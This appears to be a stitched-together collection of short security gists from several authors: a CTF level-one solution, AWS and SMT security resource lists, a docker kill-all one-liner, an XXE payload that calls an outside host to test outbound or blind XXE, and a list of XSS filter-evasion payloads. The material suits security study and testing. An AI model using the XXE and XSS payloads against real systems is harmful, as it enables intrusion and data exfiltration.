haykuro

http://ctf.infosecinstitute.com/

## Level 1:

View the source, at the top we see:

<!-- infosec_flagis_welcome -->

Level 1 PASS: infosec_flagis_welcome

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

chanj

INTRO
I get asked regularly for good resources on AWS security. This gist collects some of these resources (docs, blogs, talks, open source tools, etc.). Feel free to suggest and contribute. 

Short Link: http://tiny.cc/awssecurity

Official AWS Security Resources
* Security Blog - http://blogs.aws.amazon.com/security/
* Security Advisories - http://aws.amazon.com/security/security-bulletins/
* Security Whitepaper (AWS Security Processes/Practices) - http://media.amazonwebservices.com/pdf/AWS_Security_Whitepaper.pdf
* Security Best Practices Whitepaper - http://media.amazonwebservices.com/AWS_Security_Best_Practices.pdf 

ancat

Practice Challenges

• HSVM sum challenge
• pCTF 2013 "cone" challenge
• CSAW 2013 reversing 300

Resources/Writeups

• Eindbazen "cone" writeup
• Rolf Rolle's z3 based solution to some math problem
• SMT Solvers for Software Security

evanscottgray

docker ps | awk {' print $1 '} | tail -n+2 > tmp.txt; for line in $(cat tmp.txt); do docker kill $line; done; rm tmp.txt

JohannesHoppe

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>